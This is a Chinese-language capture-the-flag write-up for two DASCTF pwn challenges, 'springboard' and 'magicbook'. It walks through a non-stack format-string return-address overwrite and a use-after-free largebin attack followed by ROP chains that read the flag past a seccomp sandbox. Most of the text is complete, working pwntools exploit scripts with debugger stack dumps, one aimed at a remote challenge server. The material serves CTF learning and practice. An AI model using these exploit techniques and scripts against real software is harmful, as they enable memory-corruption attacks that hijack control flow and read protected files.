# 0720_DASCTF_pwn
# springboard
考察非栈上格式化字符串
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
该程序是动态连接的
该程序有符号表可用
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int i; // [rsp+Ch] [rbp-4h] | |
myinit(argc, argv, envp); | |
puts("Life is not boring, dreams are not out of reach."); | |
puts("Sometimes you just need a springboard."); | |
puts("Then you can see a wider world."); | |
puts("There may be setbacks along the way."); | |
puts("But keep your love of life alive."); | |
puts("I believe that you will succeed."); | |
puts("Good luck."); | |
putchar(10); | |
puts("Here's a simple pwn question, challenge yourself."); | |
for ( i = 0; i <= 4; ++i ) | |
{ | |
puts("You have an 5 chances to get a flag"); | |
printf("This is the %d time\n", (unsigned int)(i + 1)); | |
puts("Please enter a keyword"); | |
read(0, bss, 0x40uLL); | |
printf(bss); | |
} | |
return 0; | |
} |
总体来讲,代码逻辑还是比较简单,漏洞也非常的明显。签到题实锤了确实
for ( i = 0; i <= 4; ++i ) | |
{ | |
read(0, bss, 0x40uLL); | |
printf(bss); | |
} | |
return 0; |
5 次机会,第一次不用多想泄露地址
00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1
01:0008│ 0x7fffffffdcd8 ◂— 0x0
02:0010│ rbp 0x7fffffffdce0 —▸ 0x400840 (__libc_csu_init
) ◂— 0x41ff894156415741
03:0018│ 0x7fffffffdce8 —▸ 0x7ffff7820840 (__libc_start_main
+240) ◂— 0x31000197f9e8c789
04:0020│ 0x7fffffffdcf0 ◂— 0x1
05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ */
stack_addr: 00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1
——> %6$p
libc_addr: 0x7fffffffdce8 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— ..
——> %9$p
pl = b'%6$p-%9$p' | |
sla(b'Please enter a keyword\n',pl) | |
ru("0x") | |
stack = int(rc(12),16) #0x7fffffffddc0 - 0x7fffffffdce8 | |
ru("-0x") | |
libcbase = int(rc(12),16) - 240 - libc.sym['__libc_start_main'] | |
system = libcbase + libc.sym['system'] | |
lg('stack') | |
lg('libcbase') |
得到两个地址之后,就是用诸葛连弩打非栈上格式化字符。
ret_addr : 0x7fffffffdce8
用格式化字符串将其改成 ogg_addr 即可
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1
01:0008│ 0x7fffffffdcd8 ◂— 0x100000000
02:0010│ rbp 0x7fffffffdce0 —▸ 0x400840 (__libc_csu_init) ◂— 0x41ff894156415741
03:0018│ 0x7fffffffdce8 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— 0x31000197f9e8c789
04:0020│ 0x7fffffffdcf0 ◂— 0x1
05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ /
06:0030│ 0x7fffffffdd00 ◂— 0x1f7e25ca0
07:0038│ 0x7fffffffdd08 —▸ 0x400767 (main) ◂— 0x10ec8348e5894855
08:0040│ 0x7fffffffdd10 ◂— 0x0
09:0048│ 0x7fffffffdd18 ◂— 0x63d45a5b7410892e
0a:0050│ 0x7fffffffdd20 —▸ 0x400610 (_start) ◂— 0x89485ed18949ed31
0b:0058│ 0x7fffffffdd28 —▸ 0x7fffffffddc0 ◂— 0x1
0c:0060│ 0x7fffffffdd30 ◂— 0x0
0d:0068│ 0x7fffffffdd38 ◂— 0x0
0e:0070│ 0x7fffffffdd40 ◂— 0x9c2ba524dd70892e
0f:0078│ 0x7fffffffdd48 ◂— 0x9c2bb5df6b60892e
10:0080│ 0x7fffffffdd50 ◂— 0x0
… ↓ 2 skipped
13:0098│ 0x7fffffffdd68 —▸ 0x7fffffffddd8 —▸ 0x7fffffffe169 ◂— ‘SHELL=/bin/bash’
14:00a0│ 0x7fffffffdd70 —▸ 0x7ffff7e27168 ◂— 0x0
15:00a8│ 0x7fffffffdd78 —▸ 0x7ffff7c1080b ◂— 0xc48348001f0fd3eb
16:00b0│ 0x7fffffffdd80 ◂— 0x0
17:00b8│ 0x7fffffffdd88 ◂— 0x0
18:00c0│ 0x7fffffffdd90 —▸ 0x400610 (_start) ◂— 0x89485ed18949ed31
19:00c8│ 0x7fffffffdd98 —▸ 0x7fffffffddc0 ◂— 0x1
1a:00d0│ 0x7fffffffdda0 ◂— 0x0
1b:00d8│ 0x7fffffffdda8 —▸ 0x400639 (_start+41) ◂— 0xb80000441f0f66f4
1c:00e0│ 0x7fffffffddb0 —▸ 0x7fffffffddb8 ◂— 0x1c
1d:00e8│ 0x7fffffffddb8 ◂— 0x1c
1e:00f0│ r13 0x7fffffffddc0 ◂— 0x1
1f:00f8│ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e / ‘./pwn’ */
20:0100│ 0x7fffffffddd0 ◂— 0x0
21:0108│ 0x7fffffffddd8 —▸ 0x7fffffffe169 ◂— ‘SHELL=/bin/bash’
22:0110│ 0x7fffffffdde0 —▸ 0x7fffffffe179 ◂— ‘SESSION_MANAGER=local/h711:@/tmp/.ICE-unix/2518,unix/h711:/tmp/.ICE-unix/2518’
23:0118│ 0x7fffffffdde8 —▸ 0x7fffffffe1c7 ◂— ‘QT_ACCESSIBILITY=1’
24:0120│ 0x7fffffffddf0 —▸ 0x7fffffffe1da ◂— ‘COLORTERM=truecolor’
25:0128│ 0x7fffffffddf8 —▸ 0x7fffffffe1ee ◂— ‘XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu-xorg:/etc/xdg’
26:0130│ 0x7fffffffde00 —▸ 0x7fffffffe220 ◂— ‘SSH_AGENT_LAUNCHER=gnome-keyring’
27:0138│ 0x7fffffffde08 —▸ 0x7fffffffe241 ◂— ‘XDG_MENU_PREFIX=gnome-’
在 %11$p 处,我们修改 0x7fffffffe163
低 2 字节修改成返回地址 0xdce8
05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ */
这样 0x7fffffffddc8
在 %37$p 处,就会指向返回地址。接着我们修改 %37 处即可
sla('Please enter a keyword\n','%'+str(stack1&0xffff)+'c%11$hn') | |
input1 = stack1&0xffff | |
input2 = (stack1+2)&0xffff | |
sla('Please enter a keyword\n','%'+str(og&0xffff)+'c%37$hn') | |
sla('Please enter a keyword\n','%'+str((stack1+2)&0xffff)+'c%11$hn') | |
sla('Please enter a keyword\n','%'+str((og>>16)&0xff)+'c%37$hhn') |
# EXP
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc.so.6' | |
host, port = "node5.buuoj.cn:28082".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
''' | |
aaaaaaaa-0x601089-0x40-0x7ffff78f7360-0x7ffff7ff7700-0x13-0x7fffffffddc0-(nil)-0x400840-0x7ffff7820840 | |
00:0000│ 0x7fffffffddc0 —▸ 0x7fffffffe2b7 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh' | |
00:0000│ 0x7ffff7820840 (__libc_start_main+240) ◂— 0x31000197f9e8c789 | |
''' | |
# ► 0x7ffff784ffa1 call qword ptr [rax + 0x38] <_IO_file_xsputn> | |
# ► 0x7ffff7879397 <_IO_file_xsputn+423> call qword ptr [rax + 0x78] <_IO_file_write> | |
# b * 0x400825 | |
pl = b'%6$p-%9$p' | |
sla(b'Please enter a keyword\n',pl) | |
ru("0x") | |
stack = int(rc(12),16) #0x7fffffffddc0 - 0x7fffffffdce8 | |
ru("-0x") | |
libcbase = int(rc(12),16) - 240 - libc.sym['__libc_start_main'] | |
system = libcbase + libc.sym['system'] | |
lg('stack') | |
lg('libcbase') | |
stack1 = stack - (0x7fffffffddc0 - 0x7fffffffdce8) | |
lg("stack1") | |
ogg = [0x4527a,0xf03a4,0xf1247] | |
og = libcbase + ogg[2] | |
lg('og') | |
lg('system') | |
debug() | |
sla('Please enter a keyword\n','%'+str(stack1&0xffff)+'c%11$hn') | |
input1 = stack1&0xffff | |
input2 = (stack1+2)&0xffff | |
# [+] input1 :0xdce8 | |
# [+] input2 :0xdcea | |
# pause() | |
sla('Please enter a keyword\n','%'+str(og&0xffff)+'c%37$hn') | |
sla('Please enter a keyword\n','%'+str((stack1+2)&0xffff)+'c%11$hn') | |
sla('Please enter a keyword\n','%'+str((og>>16)&0xff)+'c%37$hhn') | |
it() |
# magicbook
考察 largebin_attack,orw
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
该程序是动态连接的
该程序有符号表可用
先申代码
__int64 sandbox() | |
{ | |
__int64 v1; // [rsp+8h] [rbp-8h] | |
v1 = seccomp_init(2147418112LL); | |
seccomp_rule_add(v1, 0LL, 59LL, 0LL); | |
return seccomp_load(v1); | |
} |
沙箱比较简单
return printf("give you a gift: %p", &d); |
给了 elf 中的 d 的真实地址,从而绕过 pie
book = (unsigned __int16)book; |
book 类型转换,为啥这样呢?往后看就明白了
void *edit_the_book() | |
{ | |
size_t v0; // rax | |
char buf[32]; // [rsp+0h] [rbp-20h] BYREF | |
puts("come on,Write down your story!"); | |
read(0, buf, book); | |
v0 = strlen(buf); | |
return memcpy(dest, buf, v0); | |
} |
这里往栈上读数据。而长度为 book。但这里我们暂时未知 book 如何怎样一种形式作为长度
size_t creat_the_book() | |
{ | |
size_t v0; // rbx | |
size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF | |
if ( book > 5 ) | |
{ | |
puts("full!!"); | |
exit(0); | |
} | |
printf("the book index is %d\n", book); | |
puts("How many pages does your book need?"); | |
LODWORD(size[0]) = 0; | |
__isoc99_scanf("%u", size); | |
if ( LODWORD(size[0]) > 0x500 ) | |
{ | |
puts("wrong!!"); | |
exit(0); | |
} | |
v0 = book; | |
p[v0] = malloc(LODWORD(size[0])); | |
return ++book; | |
} |
在这里给出了 book 以 0<count<5
作为长度从 edit 读到栈上,并且 malloc 最大的 size 为 0x500,可以释放进 largebin 内。
__int64 delete_the_book() | |
{ | |
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF | |
int v2; // [rsp+4h] [rbp-Ch] BYREF | |
char buf[8]; // [rsp+8h] [rbp-8h] BYREF | |
puts("which book would you want to delete?"); | |
__isoc99_scanf("%d", &v2); | |
// 判断数量 | |
free(*((void **)&p + v2)); | |
puts("Do you want to say anything else before being deleted?(y/n)"); | |
read(0, buf, 4uLL); | |
if ( d && (buf[0] == 89 || buf[0] == 121) ) | |
{ | |
puts("which page do you want to write?"); | |
__isoc99_scanf("%u", &v1); | |
if ( v1 > 4 || !*((_QWORD *)&p + v2) ) | |
{ | |
puts("wrong!!"); | |
exit(0); | |
} | |
puts("content: "); | |
read(0, (void *)(*((_QWORD *)&p + v1) + 8LL), 0x18uLL); | |
--d; | |
return 0LL; | |
} | |
else | |
// 无所谓 | |
} |
很明显的 uaf,且从 userdata [1] 开始写,所以释放之后你可以直接去修改 fdnextsize 或 bknextsize。算是人性化的题目
好了。代码整体分析了一遍了。如何去攻打捏
大家可能都被 heap 的第一想法给耽误了如何去做这个题,house?如何泄露 libc?
其实有时候不要光去用 house 去打 heap,这题用到为 largebin attack 修改 size
为了题目为何这样打,先去了解一下 large bin 的性质。
large bin 是一个双向链表,不同之前的 small bin 和 unsorted bin,它多了 fd_nextsize 和 bk_nextsize
Add(0x450)#0 chunk0 | |
Add(0x30) #1 chunk1 | |
Add(0x440)#2 chunk2 | |
Del(0) # chunk0 進入 unsortedbin | |
Add(0x500)#0 chunk3 chunk1 進入 largebin | |
book = elfbase + 0x4050 | |
Del(2,1,0,p64(0) * 2 + p64(book - 0x20))# 釋放 chunk2, 進入 unsortedbin 內,同時 uaf 修改 chunk0 的 bk 指針,指向目的地址 | |
Add(0x500) # <large bin attack>,chunk2 插入 largebin 內,同時覆蓋地址 chunk1->bknextsize->fdnextsize 指向 chunk2 |
上面就是 largebin 具体攻击,通过修改 fdnextsize,将 name 修改的特别大
before large bin attack
pwndbg> x/20gx 0x555555558050-0x20
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e1aaa0 0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e1b6a0 0x0000000000000000
0x555555558050: 0x0000000000000004 0x0000000000000000
0x555555558060: 0x000055555555d0c0 0x000055555555d5a0
0x555555558070 <p+16>: 0x000055555555d5e0 0x000055555555daa0
0x555555558080 <p+32>: 0x0000000000000000 0x000055555555cfb0
0x555555558090 <p+48>: 0x0000000000000000 0x0000000000000000
0x5555555580a0 <p+64>: 0x0000000000000000 0x0000000000000000
0x5555555580b0 <p+80>: 0x0000000000000000 0x0000000000000000
0x5555555580c0 <p+96>: 0x0000000000000000 0x0000000000000000atfte large bin attack
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e1aaa0 0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e1b6a0 0x0000000000000000
0x555555558050: 0x000055555555d5d1 0x0000000000000000
0x555555558060: 0x000055555555d0c0 0x000055555555d5a0
0x555555558070 <p+16>: 0x000055555555d5e0 0x000055555555daa0
0x555555558080 <p+32>: 0x000055555555dfb0 0x000055555555cfb0
0x555555558090 <p+48>: 0x0000000000000000 0x0000000000000000
0x5555555580a0 <p+64>: 0x0000000000000000 0x0000000000000000
0x5555555580b0 <p+80>: 0x0000000000000000 0x0000000000000000
0x5555555580c0 <p+96>: 0x0000000000000000 0x0000000000000000
可见那个数字修改成 0x000055555555d5d1
,为啥后面会多个 1,不用问,他的代码就是 book++
之后就是 edit 哪里的栈溢出攻击
# EXP
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc.so.6' | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda Delllim, data : r.sendafter(Delllim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda Delllim, data : r.sendlineafter(Delllim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda Delllims, time=default : r.recvuntil(Delllims,timeout=time) | |
rpu = lambda Delllims, time=default : r.recvuntil(Delllims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
paddding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
ru(b'give you a gift: 0x') | |
elfbase = int(rc(12),16) - 0x4010 | |
lg('elfbase') | |
def meau(idx): | |
sla("Your choice:\n",str(idx)) | |
def Add(sz): | |
meau(1) | |
sla("How many pages does your book need?\n",str(sz)) | |
def Del(id,y = 0,id1 = 0,ct = b''): | |
meau(2) | |
sla("o delete?",str(id)) | |
if y: | |
sla("being deleted?(y/n)\n","y") | |
sla("which page do you want to write?\n",str(id1)) | |
sa("content: \n",ct) | |
else: | |
sla("being deleted?(y/n)\n","n") | |
def Edi(ct): | |
meau(3) | |
sa("come on,Write down your story!\n",ct) | |
rdi = elfbase + 0x1863 | |
rsi = elfbase + 0x1861 # pop rsi r15 ret | |
bss = elfbase + 0x4110 | |
edit_ret = elfbase + elf.sym['edit_the_book'] | |
putg = elfbase + elf.got['puts'] | |
putp = elfbase + elf.plt['puts'] | |
Add(0x450)#0 chunk0 | |
Add(0x30) #1 chunk1 | |
Add(0x440)#2 chunk2 | |
Del(0) # chunk0 進入 unsortedbin | |
Add(0x500)#0 chunk3 chunk1 進入 largebin | |
book = elfbase + 0x4050 | |
Del(2,1,0,p64(0) * 2 + p64(book - 0x20))# 釋放 chunk2, 進入 unsortedbin 內,同時 uaf 修改 chunk0 的 bk 指針,指向目的地址 | |
debug() | |
Add(0x500) # <large bin attack>,chunk2 插入 largebin 內,同時覆蓋地址 chunk1->bknextsize->fdnextsize 指向 chunk2 | |
pay = [paddding(0x28), rdi, putg, putp, edit_ret] | |
Edi(flat(pay)) | |
libcbase = u64(rc(6).ljust(8,b'\0')) - libc.sym['puts'] | |
lg('libcbase') | |
rax = libcbase + 0x45eb0 | |
rdx = libcbase + 0x904a9 #pop rdx; pop rbx; ret; | |
rsi = libcbase + 0x16333a | |
open_addr = libcbase + libc.sym['open'] | |
write_addr = libcbase + libc.sym['write'] | |
read_addr = libcbase + libc.sym['read'] | |
pay = flat([ | |
paddding(0x28), rdi, 0, rsi, bss, rdx, 0x8, 0, read_addr, | |
rdi, bss, rsi, 0, open_addr, | |
rdi, 3, rsi, bss+200, rdx, 0x40, 0, read_addr, | |
rdi, 1, rsi, bss+200, rdx, 0x40, 0, write_addr | |
]) | |
sla(b'come on,Write down your story!\n',pay) | |
se(b'./flag\x00\x00') | |
it() |
if ((unsigned long) (size) | |
< (unsigned long) chunksize_nomask (bck->bk)) | |
{ | |
fwd = bck; | |
bck = bck->bk; | |
victim->fd_nextsize = fwd->fd; | |
victim->bk_nextsize = fwd->fd->bk_nextsize; | |
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; | |
} |